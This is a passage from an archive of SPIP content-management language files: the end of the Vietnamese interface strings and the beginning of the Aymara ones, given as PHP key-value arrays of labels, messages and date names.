'info_tout_site' => 'Toàn bộ website',
'info_tout_site2' => 'Bài nầy chưa được dịch qua ngôn ngữ nầy.',
'info_tout_site3' => 'Bài nầy đã được dịch qua ngôn ngữ nầy rồi, nhưng bài gốc đã được sửa. Các bản dịch cần được cập nhật. ',
'info_tout_site4' => 'Bài nầy đã được dịch qua ngôn ngữ nầy rồi, và bản dịch đã được cập nhật.',
'info_tout_site5' => 'Bài gốc.',
'info_tout_site6' => '<b>Ghi chú: :</b> chỉ có bài gốc mới hiện ra trong trang này.
Bài dịch sẽ được liên đới với bài gốc,
và hiển ra với những màu khác nhau tùy theo tình trạng bài vở :',
'info_travail_colaboratif' => 'Sửa đổi/Soạn bài chung với nhau',
'info_un_article' => 'một bài, ',
'info_un_site' => 'một website, ',
'info_une_rubrique' => 'một đề mục, ',
'info_une_rubrique_02' => '1 đề mục',
'info_url' => 'URL:', # MODIF
'info_url_site' => 'URL CỦA WEBSITE:', # MODIF
'info_urlref' => 'Nối kết:',
'info_utilisation_spip' => 'SPIP sẵn sàng để sử dụng...',
'info_visites_par_mois' => 'Hiển thị hàng tháng:',
'info_visiteur_1' => 'Khách',
'info_visiteur_2' => ' của website công',
'info_visiteurs' => 'Khách',
'info_visiteurs_02' => 'Khách của website công',
'install_echec_annonce' => 'Phần cài đặt này có thể gặp trở ngại, hoặc khiến website hoạt động không hoàn chỉnh...',
'install_extension_mbstring' => 'SPIP không hoạt động với:',
'install_extension_php_obligatoire' => 'SPIP cần một bộ phận php:',
'install_select_langue' => 'Chọn một ngôn ngữ, rồi bấm vào nút "Kế tiếp" để bắt đầu thể thức thiết trí.',
'intem_redacteur' => 'chủ bút',
'item_accepter_inscriptions' => 'Cho phép ghi danh',
'item_activer_messages_avertissement' => 'Cho phép cảnh báo',
'item_administrateur_2' => 'quản lý',
'item_afficher_calendrier' => 'Hiện ra trong lịch',
'item_autoriser_documents_joints' => 'Cho phép đính kèm tài liệu vào bài vở',
'item_autoriser_documents_joints_rubriques' => 'Cho phép đính kèm tài liệu trong đề mục',
'item_choix_administrateurs' => 'quản trị viên',
'item_choix_generation_miniature' => 'Tự động tạo ra các hình mẫu.',
'item_choix_non_generation_miniature' => 'Đừng tạo ra hình mẫu.',
'item_choix_redacteurs' => 'chủ bút',
'item_choix_visiteurs' => 'Khách của website công',
'item_creer_fichiers_authent' => 'Lập ra hồ sơ .htpasswd',
'item_limiter_recherche' => 'Giới hạn việc tìm kiếm trong khối lượng tin của website bạn',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'bài vở',
'item_mots_cles_association_rubriques' => 'các đề mục',
'item_mots_cles_association_sites' => 'Website nối kết hay syndicated.',
'item_non' => 'Không dùng',
'item_non_accepter_inscriptions' => 'Không cho phép ghi danh',
'item_non_activer_messages_avertissement' => 'Không cần cảnh báo',
'item_non_afficher_calendrier' => 'Không hiện ra trong lịch',
'item_non_autoriser_documents_joints' => 'Không cho phép đính kèm tài liệu vào bài vở',
'item_non_autoriser_documents_joints_rubriques' => 'Không cho phép đính kèm tài liệu trong đề mục',
'item_non_creer_fichiers_authent' => 'Đừng lập ra các hồ sơ này',
'item_non_gerer_statistiques' => 'Không quản trị các thống kê',
'item_non_limiter_recherche' => 'Nới rộng việc tìm kiếm qua đến nội dung của các website nối kết',
'item_non_publier_articles' => 'Không đăng tải bài trước ngày được phép đăng.',
'item_non_utiliser_moteur_recherche' => 'Đừng dùng',
'item_nouvel_auteur' => 'Tác giả mới',
'item_nouvelle_rubrique' => 'Đề mục mới',
'item_oui' => 'Dùng',
'item_publier_articles' => 'Cứ đăng tải bài bất kể ngày ghi.',
'item_reponse_article' => 'Hồi đáp bài ',
'item_utiliser_moteur_recherche' => 'Dùng cơ phận tìm kiếm',
'item_visiteur' => 'khách',
// J
'jour_non_connu_nc' => 'k.b.',
// L
'lien_ajout_destinataire' => 'Thêm người nhận này',
'lien_ajouter_auteur' => 'Thêm tác giả này',
'lien_ajouter_participant' => 'Thêm một tham dự viên',
'lien_email' => 'email',
'lien_nom_site' => 'TÊN WEBSITE:',
'lien_retirer_auteur' => 'Loại bỏ tác giả',
'lien_retrait_particpant' => 'Loại bỏ tham dự viên này',
'lien_site' => 'website',
'lien_supprimer_rubrique' => 'xóa đề mục này',
'lien_tout_deplier' => 'Mở ra tất cả',
'lien_tout_replier' => 'Gộp tất cả lại',
'lien_trier_nom' => 'Xếp theo tên',
'lien_trier_nombre_articles' => 'Sắp thứ tự theo số bài',
'lien_trier_statut' => 'Sắp thứ tự theo tình trạng',
'lien_voir_en_ligne' => 'XEM ONLINE :',
'logo_article' => 'LOGO CỦA BÀI', # MODIF
'logo_auteur' => 'LOGO CỦA TÁC GIẢ', # MODIF
'logo_rubrique' => 'LOGO CỦA ĐỀ MỤC', # MODIF
'logo_site' => 'LOGO CỦA WEBSITE NÀY', # MODIF
'logo_standard_rubrique' => 'LOGO CỦA ĐỀ MỤC', # MODIF
'logo_survol' => 'LOGO NỔI', # MODIF
// M
'menu_aide_installation_choix_base' => 'Chọn database của bạn',
'module_fichier_langue' => 'Hồ sơ ngôn ngữ',
'module_raccourci' => 'Lối tắt',
'module_texte_affiche' => 'Văn bản hiển thị',
'module_texte_explicatif' => 'Bạn có thể thêm các lối tắt sau đây vào mẫu của trang web. Chúng sẽ được tự động dịch qua các ngôn ngữ khác (nếu có hồ sơ ngôn ngữ đó).',
'module_texte_traduction' => 'Hồ sơ ngôn ngữ « @module@ » này có bằng tiếng:',
'mois_non_connu' => 'không nhận ra tháng này được',
// O
'onglet_repartition_actuelle' => 'hiện nay',
// S
'statut_admin_restreint' => '(Quản trị viên có giới hạn)', # MODIF
// T
'taille_cache_image' => 'Các hình được tính toán tự động bởi SPIP (hình nhỏ, tựa đề được đổi thành hình, công thức toán học dưới dạng TeX, v.v...) chiếm tổng cộng @taille@ trong ngăn @dir@.',
'taille_cache_infinie' => 'Trang web không có giới hạn khổ của ngăn <code>CACHE/</code>.', # MODIF
'taille_cache_maxi' => 'SPIP sẽ giới hạn khổ của ngăn <code>CACHE/</code> vào khoảng <b>@octets@</b> dữ liệu.', # MODIF
'taille_cache_octets' => 'Khổ của cache hiện thời là @octets@.', # MODIF
'taille_cache_vide' => 'Cache trống rỗng.',
'taille_repertoire_cache' => 'Khổ hiện thời của cache',
'text_article_propose_publication' => 'Bài nộp để chuẩn bị phát hành. Xin đừng ngần ngại cho ý kiến của bạn qua diễn đàn đính kèm theo bài này (ở cuối trang).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Một số server LDAP không cho phép vào ẩn danh. Trong trường hợp này bạn phải dùng một ký danh đầu tiên để có thể đi tìm tòi dữ kiện trong danh bạ sau đó. Tuy nhiên, trong hầu hết trường hợp, những khoảng sau đây có thể để trống.',
'texte_admin_effacer_01' => 'Mệnh lệnh này xóa <i>tất cả</i> nội dung của database, luôn cả login/mật mã của các chủ bút và quản lý. Sau khi chạy mệnh lệnh này xong, bạn nên thiết trí lại SPIP để tái lập lại một database mới cùng với login/mật mã của quản trị viên đầu tiên.',
'texte_adresse_annuaire_1' => '(Nếu ngăn của bạn được thiết trí trên cùng máy với website của bạn, tên nó thường là «localhost».)',
'texte_ajout_auteur' => 'Tác giả sau đây được thêm vào cho bài: ',
'texte_annuaire_ldap_1' => 'Nếu bạn vào được một danh bạ (LDAP), bạn có thể dùng nó để nhập vào tự động những người sử dụng trong SPIP.',
'texte_article_statut' => 'Tình trạng bài vở:',
'texte_article_virtuel' => 'Bài ảo',
'texte_article_virtuel_reference' => '<b>Bài ảo:</b> chỉ vào một bài khác trong SPIP của bạn, nhưng chuyển qua một địa chỉ khác. Để loại bỏ việc chuyển qua, xóa địa chỉ URL trên.',
'texte_aucun_resultat_auteur' => 'Không có kết quả cho "@cherche_auteur@".',
'texte_auteur_messagerie' => 'Website này có thể giám sát liên tục danh sách những chủ bút đang vào, và cho phép bạn trao đổi thư tín ngay lập tức (nếu hệ thư tín bị tắt thì danh sách các chủ bút đang vào cũng bị tắt theo). Bạn có thể chọn không xuất hiện trong danh sách này (đối với những người khác, bạn sẽ «vô hình»).',
'texte_auteur_messagerie_1' => 'Website này cho phép trao đổi thư tín và cho lập ra những diễn đàn trao đổi riêng tư của các tham dự viên. Bạn có thể chọn không tham gia vào sự trao đổi này. ',
'texte_auteurs' => 'TÁC GIẢ',
'texte_choix_base_1' => 'Chọn database của bạn:',
'texte_choix_base_2' => 'Server SQL chứa nhiều database.',
'texte_choix_base_3' => '<b>Chọn</b> một trong số dưới đây thuộc về bạn:',
'texte_commande_vider_tables_indexation' => 'Dùng mệnh lệnh này để dọn sạch bản index dùng bởi cơ phận tìm kiếm của SPIP. Làm thế để tiết kiệm được một số chỗ trống trong dĩa.',
'texte_compresse_ou_non' => '(có thể trong dạng nén hoặc dạng thường) ',
'texte_compte_element' => '@count@ món',
'texte_compte_elements' => '@count@ món',
'texte_connexion_mysql' => 'Xem lại tài liệu cung cấp bởi máy chủ: nếu dùng SQL, máy chủ cho bạn mã số ra vào server SQL. ', # MODIF
'texte_contenu_article' => '(Mô tả ngắn gọn nội dung của bài) ',
'texte_contenu_articles' => 'Dựa vào cấu trúc chọn lựa cho website này, bạn có thể quyết định những phần nào của bài vở không cần dùng. Chiếu theo danh sách dưới đây để chọn những phần nào của bài vở dùng được.',
'texte_crash_base' => 'Nếu database bị hư, bạn có thể tìm cách sửa chữa tự động.',
'texte_creer_rubrique' => 'Để viết bài,<br />bạn phải lập ra một đề mục. ',
'texte_date_creation_article' => 'NGÀY VIẾT BÀI:',
'texte_date_publication_anterieure' => 'Ngày phát hành truớc đó :',
'texte_date_publication_anterieure_nonaffichee' => 'Dấu ngày phát hành trước đó.',
'texte_date_publication_article' => 'NGÀY ĐĂNG TẢI ONLINE :',
'texte_descriptif_petition' => 'Mô tả Thỉnh nguyện thư',
'texte_descriptif_rapide' => 'Tóm lược',
'texte_effacer_base' => 'Xóa database SPIP',
'texte_effacer_donnees_indexation' => 'Xóa dữ kiện indexing',
'texte_en_cours_validation' => 'Bài vở và tin ngắn sau đây được nộp để chờ phát hành. Xin góp ý qua diễn đàn đính kèm. ', # MODIF
'texte_enrichir_mise_a_jour' => 'Bạn có thể trình bày văn bản gọn đẹp hơn bằng cách dùng những <b>«lối xếp bài tắt»</b>.',
'texte_fichier_authent' => 'SPIP có nên lập ra hồ sơ đặc biệt <tt>.htpasswd</tt> và <tt>.htpasswd-admin</tt> trong thư mục @dossier@?</b><p> Hai hồ sơ này dùng để giới hạn các tác giả và quản lý viên ra/vào các nơi khác trong website.<p>Nếu bạn chưa từng sử dụng đặc tính này, hãy để nguyên lựa chọn này với các giá trị định sẵn (không lập ra hồ sơ). ', # MODIF
'texte_informations_personnelles_1' => 'Hệ thống sẽ cung cấp cho bạn lối ra/vào website.',
'texte_informations_personnelles_2' => '(Ghi chú: nếu đây là tái thiết trí, và việc ra/vào của bạn vẫn bình thường, bạn tiếp tục vậy ', # MODIF
'texte_introductif_article' => '(Lời mở đầu cho bài viết.) ',
'texte_jeu_caractere' => 'Chọn lựa này thích hợp nếu website bạn dùng ngôn ngữ khác với mẫu tự latinh (tức "western") và các ngôn ngữ cùng hệ.
Trong trường hợp này, phải chọn một bộ mã khác. Và cũng nên nhớ sửa đổi website để thích ứng (<tt>#CHARSET</tt> tag).', # MODIF
'texte_jeu_caractere_2' => 'Sửa đổi này không có hiệu lực trở về trước. Do đó, bài vở đã cho vào có thể hiện ra không đúng sau khi sửa bảng mã lại. Tuy nhiên, bạn vẫn có thể chọn trở lại bảng mã trước đó. ', # MODIF
'texte_lien_hypertexte' => '(Nếu thư tín có đề cập đến bài đã đăng tải trên web, hay đề cập đến một trang web có thêm dữ kiện, xin điền vào đây tựa đề và địa chỉ.)',
'texte_login_ldap_1' => '(Để trống nếu muốn ra/vào ẩn danh hoặc cho biết trọn vẹn lộ tuyến, lấy thí dụ «<tt>uid=smith, ou=users, dc=my-domain, dc=com</tt>».)',
'texte_login_precaution' => 'Cảnh báo! Đây là login bạn dùng để vào. Dùng mẫu này cẩn thận...',
'texte_message_edit' => 'Cảnh báo: thư tín này có thể được sửa bởi bất cứ người quản lý nào, và mọi chủ bút đều xem được. Chỉ nên thông báo để nhấn mạnh những việc quan trọng đối với website.',
'texte_mise_a_niveau_base_1' => 'Bạn vừa cập nhật hồ sơ SPIP. Bây giờ bạn phải nâng cấp database của website.',
'texte_modifier_article' => 'Sửa bài:',
'texte_moteur_recherche_active' => '<b>Cơ phận tìm kiếm được chạy.</b> Dùng mệnh lệnh này nếu bạn muốn re-indexing cho lẹ (sau khi phục hồi các hồ sơ dự trữ chẳng hạn). Lưu ý là trong trường hợp bài được sửa đổi một cách bình thường (dùng giao diện SPIP) thì bài đó được tự động đánh chỉ số (index) lần nữa: do đó mệnh lệnh này chỉ hữu dụng trong trường hợp rất ư đặc biệt. ',
'texte_moteur_recherche_non_active' => 'Cơ phận tìm kiếm đã bị tắt, không được phép chạy.',
'texte_multilinguisme' => 'Nếu bạn muốn quản trị các bài vỡ này trong nhiều ngôn ngữ, bạn có thể thêm vào bài/đề mục một mục lục chọn ngôn ngữ.', # MODIF
'texte_multilinguisme_trad' => 'Đồng thời, bạn có thể mở lên một hệ thống quản trị cho các bản dịch của một bài.', # MODIF
'texte_non_compresse' => '<i>Giản ra</i> (server của bạn không dùng đặc tính này)',
'texte_nouveau_message' => 'Thư tín mới',
'texte_nouvelle_version_spip_1' => 'Bạn vừa thiết trí ấn bản mới của SPIP.',
'texte_nouvelle_version_spip_2' => 'Ấn bản mới này cần cập nhật
kỹ lưởng hơn bình thường.
Nếu bạn là webmaster, hãy xóa hồ sơ
<tt>inc_connect.php3</tt> trong ngăn <tt>ecrire</tt>
và cho thiết trí lại để cập nhật
những số liệu móc nối vào database.
<p>(TB.: nếu bạn quên mất số liệu móc nối
xem lại hồ sơ <tt>inc_connect.php3</tt>
trước khi xóa ...)', # MODIF
'texte_operation_echec' => 'Trở lại trang trước đó, chọn database khác hoặc lập ra database mới. Kiểm lại các dữ kiện máy chủ cung cấp.',
'texte_plus_trois_car' => ' hơn 3 mẫu tự',
'texte_plusieurs_articles' => 'Tìm thấy nhiều tác giả cho "@cherche_auteur@":',
'texte_port_annuaire' => 'Giá trị cho sẵn thường phù hợp.',
'texte_proposer_publication' => 'Khi soạn bài xong,<br />bạn nộp vào để chờ được đăng lên.',
'texte_proxy' => 'Trong một số trường hợp (intranet, mạng được bảo vệ ...), cần thiết phải dùng <i>proxy HTTP</i> để với tới các website syndicated. Nếu có proxy, cho địa chỉ vào dưới đây,
<tt><html>http://proxy:8080</html></tt>. Thường thì bạn để khung này trống.',
'texte_publication_articles_post_dates' => 'SPIP sẽ làm gì khi một bài viết có đề ngày đăng tải sắp tới (trong tương lai)?',
'texte_rappel_selection_champs' => '[Nhớ chọn phần này cho đúng]',
'texte_recalcul_page' => 'Nếu bạn chỉ muốn làm mới lại một trang thôi, thì nên làm lại từ vùng công cộng và bấm vào nút «refresh» hay «reload».',
'texte_recapitiule_liste_documents' => 'Trang này tóm tắt danh sách các tài liệu bạn để trong các đề mục. Để tu sửa dữ kiện của mỗi tài liệu, theo điểm nối để đến trang của đề mục đó.',
'texte_recuperer_base' => 'Sữa chữa database',
'texte_reference_mais_redirige' => 'Bài nối kết trong website SPIP, nhưng chuyển hướng qua địa chỉ URL khác.',
'texte_requetes_echouent' => '<b>Khi một số hỏi-đáp SQL trượt hàng loạt và có vẻ như không có lý do gì cả, điều đó cho thấy có thể chính database là thủ phạm. </b><p>SQL có một đặc điểm sửa chữa các bản của nó khi chúng bị hư hại. Bạn có thể thử dùng đặc điểm sửa chữa này, trong trường hợp thất bại, bạn nên giữ lại một bản sao của màn ảnh để giúp soi sáng vấn đề ... <p> Nếu vấn đề vẫn tiếp tục xảy ra, liên lạc với chủ nhân của máy.', # MODIF
'texte_selection_langue_principale' => 'Bạn chọn một "ngôn ngữ chính" sau đây cho website. Điều này không có nghĩa là bạn chỉ có thể dùng ngôn ngữ đó cho các bài vở, mà bạn muốn dùng ngôn ngữ nào trong bài cũng được. Chọn ngôn ngữ chính cho web site chỉ để
<ul>
<li> chọn cách ghi ngày tháng cho phù hợp với ngôn ngữ đã chọn</li>
<li> giúp cơ phận trình bày của SPIP biết cách trình bày văn tự của bài vở cho đúng cách.</i>
<li> ngôn ngữ dùng trong các mẫu đơn của website</i>
<li> ngôn ngữ chính hiển trị trong các vùng riêng</li>
</ul>',
'texte_sous_titre' => 'Tựa đề phụ',
'texte_statistiques_visites' => 'Thah đậm: Chủ nhật / vòng cong đậm: đợt trung bình)',
'texte_statut_attente_validation' => 'đang chờ chấp thuận',
'texte_statut_publies' => 'được đăng lên',
'texte_statut_refuses' => 'bị từ chối',
'texte_suppression_fichiers' => 'Dùng mệnh lệnh này để xóa tất cả hồ sơ trong SPIP cache. Làm vậy để buộc làm mới lại mọi trang web, trong trường hợp bạn vừa có một số thay đổi về đồ họa hay cấu trúc của website.',
'texte_sur_titre' => 'Đầu đề',
'texte_table_ok' => ': bản này OK.',
'texte_tables_indexation_vides' => 'Bản indexing của máy trống rỗng. ',
'texte_tentative_recuperation' => 'Tìm cách sửa chữa',
'texte_tenter_reparation' => 'Tìm cách sửa chữa database',
'texte_test_proxy' => 'Để thử proxy này, đánh vào địa chỉ một website bạn muốn thử.',
'texte_titre_02' => 'Tựa đề:',
'texte_titre_obligatoire' => '<b>Tựa đề</b> [Bắt buộc] ',
'texte_travail_article' => '@nom_auteur_modif@ đã soạn/bổ túc bài này cách đây @date_diff@ phút',
'texte_travail_collaboratif' => 'Nếu có nhiều người cùng soạn/sửa đổi một bài, hệ thống có thể cho thấy những bài đang được «làm việc» để tránh trường hợp sửa đổi cùng một lúc.
Bạn có thể cho phép cảnh báo hay không:',
'texte_trop_resultats_auteurs' => 'Quá nhiều kết quả khi tìm "@cherche_auteur@"; hãy duyệt lại việc tìm kiếm.',
'texte_unpack' => 'Đang tải xuống ấn bản mới nhất',
'texte_utilisation_moteur_syndiques' => 'Nếu bạn dùng cơ phận tìm kiếm của SPIP, bạn có thể tìm trong webiste và bài vở syndicated bằng nhiều cách khác nhau. <br /><img src=\'puce.gif\' />Cách đơn giản nhất là tìm trong tựa đề và phần mô tả bài. <br /><img src=\'puce.gif\' /> Cách thứ nhất, mạnh hơn, cho phép SPIP tìm kiếm trong văn bản của website nối kết. Nếu bạn nối kết một website, SPIP sẽ tìm trong văn bản của website đó. ', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Phương pháp này buộc SPIP đến viếng thường xuyên những website kết nối; việc này có thể làm giảm hiệu suất của website bạn.',
'texte_vide' => 'Trống rỗng',
'texte_vider_cache' => 'Dọn sạch cache',
'titre_admin_effacer' => 'Bảo trì kỹ thuật',
'titre_admin_tech' => 'Bảo trì kỹ thuật',
'titre_admin_vider' => 'Bảo trì kỹ thuật',
'titre_cadre_afficher_article' => 'Liệt kê những bài',
'titre_cadre_afficher_traductions' => 'Cho xem tình trạng dịch thuật của ngôn ngữ này.',
'titre_cadre_ajouter_auteur' => 'THÊM MỘT TÁC GIẢ:',
'titre_cadre_interieur_rubrique' => 'Trong đề mục',
'titre_cadre_numero_auteur' => 'SỐ THỨ TỰ TÁC GIẢ',
'titre_cadre_signature_obligatoire' => '<b>Danh tánh</b> [Bắt buộc]<br />',
'titre_config_fonctions' => 'Cấu hình của website',
'titre_configuration' => 'Cấu hình của website',
'titre_connexion_ldap' => 'Tùy chọn: <b>Kết nối vào LDAP</b>',
'titre_groupe_mots' => 'NHÓM TỪ THEN CHỐT:',
'titre_langue_article' => 'NGÔN NGỮ CỦA BÀI', # MODIF
'titre_langue_rubrique' => 'NGÔN NGỮ CỦA ĐỀ MỤC', # MODIF
'titre_langue_trad_article' => 'NGÔN NGỮ VÀ DỊCH THUẬT CỦA BÀI',
'titre_les_articles' => 'BÀI VỞ',
'titre_naviguer_dans_le_site' => 'Xem trang web...',
'titre_nouvelle_rubrique' => 'Đề mục mới',
'titre_numero_rubrique' => 'SỐ THỨ TỰ ĐỀ MỤC:',
'titre_page_admin_effacer' => 'Bảo trì kỹ thuật: xóa database',
'titre_page_articles_edit' => 'Bổ túc: @titre@',
'titre_page_articles_page' => 'Bài vỡ',
'titre_page_articles_tous' => 'Toàn bộ trang web',
'titre_page_auteurs' => 'Khách',
'titre_page_calendrier' => 'Lịch @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Cấu hình website',
'titre_page_config_fonctions' => 'Cấu hình website',
'titre_page_configuration' => 'Cấu hình website',
'titre_page_controle_petition' => 'Tiếp theo Thỉnh nguyện thư',
'titre_page_delete_all' => 'xóa luôn và không lấy lại được',
'titre_page_documents_liste' => 'Tài liệu của đề mục',
'titre_page_index' => 'Vùng riêng của bạn',
'titre_page_message_edit' => 'Viết thư tín',
'titre_page_messagerie' => 'Thư tín của bạn',
'titre_page_recherche' => 'Kết quả tìm kiếm @recherche@',
'titre_page_statistiques_referers' => 'Thống kê (các điểm nối vào)',
'titre_page_upgrade' => 'nâng cấp SPIP',
'titre_publication_articles_post_dates' => 'Đăng tải bài vở có đề ngày',
'titre_referencer_site' => 'Nối qua website:',
'titre_rendez_vous' => 'VÔ SỔ LỊCH:',
'titre_reparation' => 'Sửa chữa',
'titre_suivi_petition' => 'Quản trị Thỉnh nguyện thư',
'trad_article_inexistant' => 'Không có bài nào với số này',
'trad_article_traduction' => 'Tất cả ấn bản của bài này:',
'trad_deja_traduit' => 'Bài này là bản dịch của bài hiện thời',
'trad_delier' => 'Đừng nối bài này qua bản dịch', # MODIF
'trad_lier' => 'Bài này là bản dịch của bài số',
'trad_new' => 'Dịch bài này' # MODIF
);
?>
spip_ay.php 0000666 00000103426 15252547432 0006744 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=ay
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-es ',
'0_langue' => 'aymara [ay] ',
'0_liste' => 'spip-es@rezo.net ',
'0_mainteneur' => 'spip-dev@rezo.net ',
// A
'access_interface_graphique' => 'Phuqata ajanu apnaqawir kuttaña',
'access_mode_texte' => 'Ajanu juk’arayata sawutjam uñachayaña',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Aka qillqatax mayjachañawa',
'admin_modifier_auteur' => 'Aka qillqirix mayjachañawa',
'admin_modifier_breve' => 'Aka jisk’aptatax mayjachañawa',
'admin_modifier_mot' => 'Aka imt’at arux mayjachañawa',
'admin_modifier_rubrique' => 'Aka t’aqa mayjachaña',
'admin_recalculer' => 'Aka laphi uñnaqax jichhaptayaña',
'afficher_trad' => 'Jaqukipatanak taqir yatiyaña',
'alerte_maj_impossible' => '<b>¡Amuyam!</b> yatiy tamawix jichhaptawit MySQL uñjataru @version@ janiw lurañjamakiti, mä jan wal mayjt’aw imaqatatanakat yatiy tamawin ukataspaw. Ampi utjawimat apnaqirir arust’aw luram.',
'analyse_xml' => 'Uñakipawi XML',
'antispam_champ_vide' => 'Ampi akjawx ch’us jaytam:',
'avis_archive_incorrect' => 'Qhanancht’ayir q’ipix janiw mä SPIP q’ipikiti.',
'avis_archive_invalide' => 'qhanancht’ayir q’ipix janiw askikiti',
'avis_attention' => '¡AMUYAM!',
'avis_champ_incorrect_type_objet' => 'Akjawx sutix janiw askikiti @name@ uka kastataki @type@',
'avis_colonne_inexistante' => 'Sayt’atax @col@ janiw utjkiti',
'avis_erreur' => 'Pantjawi: aka manqhax uñjaña',
'avis_erreur_connexion' => 'Naktaw ukjax pantjawiw utji',
'avis_erreur_cookie' => 'Cookie jan wali ukata',
'avis_erreur_fonction_contexte' => 'Sukt’awi ukjax pantjawi utji. Aka lurawinx janiw jawsañakiti.',
'avis_erreur_mysql' => 'MySQL Pantjawi',
'avis_erreur_sauvegarde' => '¡Yaqha qillqatat lurasinxa pantjawiw utji (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Jark’at qamawir mantawjirux mä jan wali utji',
// B
'barre_a_accent_grave' => 'Mä jach’aptata A jach’at arsuriyimpi uchantaña',
'barre_aide' => 'Laphi uñnaq sumacht’añatakix kasta qillq thakhinak apnaqam',
'barre_e_accent_aigu' => 'Mä jach’aptata E jach’at arsuriyimpi uchantaña',
'barre_eo' => 'Mä E O ukana uchantaña',
'barre_eo_maj' => 'Mä E O jach’aptat ukana uchantaña',
'barre_euro' => 'Chimpu uchantaña €,',
'barre_gras' => '{{Ch’iyaritat}} uskuña',
'barre_guillemets' => '«comillas»kama uskuña',
'barre_guillemets_simples' => '“kama uskuña; comillas de segundo nivel�',
'barre_intertitre' => '{inter título} ukan mayjt’ayaña',
'barre_italic' => '{K’umtat} uskuña',
'barre_lien' => 'Mayjt’ayañan [chinu jach’a sawu-http://...]',
'barre_lien_input' => 'Chinuman utjawip uñacht’ayam. Mä utjaw web uk uñacht’ayasmaw http://ukhama www.talsitio.org/q’ipi/ jan ukjax mä qillqata aka qamawin jakhu uñacht’ayam.',
'barre_note' => 'Mayjt’ayañan [[kayu laphi uñnaq yatiyawi]]',
'barre_quote' => 'Mä yatiyaw aytaña',
'bouton_changer' => 'Turkaña',
'bouton_chercher' => 'Thaqhaña',
'bouton_choisir' => 'Chijllaña',
'bouton_download' => 'Télécharger', # MODIF
'bouton_enregistrer' => 'Imaña',
'bouton_radio_desactiver_messagerie_interne' => 'Manqhax yatiyawirir suyt’ayaña',
'bouton_radio_envoi_annonces' => 'Qillqat yatiyäwinak uk apayaña',
'bouton_radio_non_envoi_annonces' => 'Yatiyawinakax jan apayañawa',
'bouton_radio_non_envoi_liste_nouveautes' => 'Machaq tantachat yatiyawinakax jan apayañawa',
'bouton_recharger_page' => 'Aka laphi uñnaq jichhaptaña',
'bouton_telecharger' => 'Apkataña',
'bouton_upload' => 'Apkataña', # MODIF
'bouton_valider' => 'Iyaw saña',
// C
'cal_apresmidi' => 'Jayp’u',
'cal_jour_entier' => 'Jurnala',
'cal_matin' => 'Arumanthi',
'cal_par_jour' => 'Urut urut pacha chimpu',
'cal_par_mois' => 'Phaxsit phaxsit pacha chimpu',
'cal_par_semaine' => 'Simanat simanat pacha chimpu',
'choix_couleur_interface' => 'Kulura',
'choix_interface' => 'Ajanut ajllawi',
'colonne' => 'Sayt’ata',
'confirm_changer_statut' => 'Uñjataw, estado de elemento maytaw mayjaptayañ ¿munaskaktati sarantañxa?',
'correcte' => 'Walikiwa',
// D
'date_aujourdhui' => 'Jichhuru',
'date_avant_jc' => 'aC',
'date_dans' => 'en @delai@',
'date_de_mois_1' => '@j@ de @nommois@',
'date_de_mois_10' => '@j@ uru @nommois@',
'date_de_mois_11' => '@j@ de @nommois@',
'date_de_mois_12' => '@j@ de @nommois@',
'date_de_mois_2' => '@j@ de @nommois@',
'date_de_mois_3' => '@j@ de @nommois@',
'date_de_mois_4' => '@j@ de @nommois@',
'date_de_mois_5' => '@j@ de @nommois@',
'date_de_mois_6' => '@j@ de @nommois@',
'date_de_mois_7' => '@j@ de @nommois@',
'date_de_mois_8' => '@j@ de @nommois@',
'date_de_mois_9' => '@j@ de @nommois@',
'date_demain' => 'Arumanthi',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ a las @heure@',
'date_fmt_jour_mois' => '@jour@ de @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ de @nommois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour_date' => 'el @nomjour@ @date@',
'date_heures' => 'Uras',
'date_hier' => 'Masuru',
'date_il_y_a' => 'hace @delai@',
'date_jnum1' => '1ro',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'tuminku',
'date_jour_1_abbr' => 'tum',
'date_jour_1_initiale' => 't',
'date_jour_2' => 'Lunisa',
'date_jour_2_abbr' => 'lun',
'date_jour_2_initiale' => 'l',
'date_jour_3' => 'Martisa',
'date_jour_3_abbr' => 'mar',
'date_jour_3_initiale' => 'm',
'date_jour_4' => 'Mirkulisa',
'date_jour_4_abbr' => 'mir',
'date_jour_4_initiale' => 'm',
'date_jour_5' => 'Juywisa',
'date_jour_5_abbr' => 'juy',
'date_jour_5_initiale' => 'j',
'date_jour_6' => 'Wirnisa',
'date_jour_6_abbr' => 'wir',
'date_jour_6_initiale' => 'v',
'date_jour_7' => 'Sawaru',
'date_jour_7_abbr' => 'saw',
'date_jour_7_initiale' => 's',
'date_jours' => 'Urunaka',
'date_minutes' => 'Minutunaka',
'date_mois' => 'Phaxsinaka',
'date_mois_1' => 'Iniru',
'date_mois_10' => 'Octuwri',
'date_mois_11' => 'Nuwimri',
'date_mois_12' => 'Dicimri',
'date_mois_2' => 'Fiwriru',
'date_mois_3' => 'Marzu',
'date_mois_4' => 'Awril',
'date_mois_5' => 'Mayu',
'date_mois_6' => 'Junyu',
